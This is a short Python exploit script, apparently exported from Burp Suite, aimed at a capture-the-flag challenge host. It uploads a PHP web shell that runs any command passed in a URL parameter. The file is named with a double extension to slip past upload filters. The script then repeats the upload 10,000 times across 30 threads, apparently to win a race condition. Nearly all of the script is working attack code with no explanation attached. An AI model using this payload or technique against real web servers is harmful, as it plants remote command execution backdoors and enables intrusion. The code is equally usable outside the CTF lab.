import requests
import concurrent.futures

def  requests_post():
    burp0_url = "http://bfa8c7a8-5a75-43bd-ba22-0c0612360461.ctf.cuc.edu.cn:80/"
    burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://bfa8c7a8-5a75-43bd-ba22-0c0612360461.ctf.cuc.edu.cn", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryJD90pu29c1VlbVRp", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://bfa8c7a8-5a75-43bd-ba22-0c0612360461.ctf.cuc.edu.cn/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7", "Connection": "close"}
    burp0_data = "------WebKitFormBoundaryJD90pu29c1VlbVRp\r\nContent-Disposition: form-data; name=\"upload_file\"; filename=\"up.php.7z\"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET['cmd']);?>\n\r\n------WebKitFormBoundaryJD90pu29c1VlbVRp\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\xe4\xb8\x8a\xe4\xbc\xa0\r\n------WebKitFormBoundaryJD90pu29c1VlbVRp--\r\n"


    return requests.post(burp0_url, headers=burp0_headers, data=burp0_data)

res=requests_post()
print(res.text)

with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor: # optimally defined number of threads
    res = [executor.submit(requests_post) for i in range(10000)]
    concurrent.futures.wait(res)
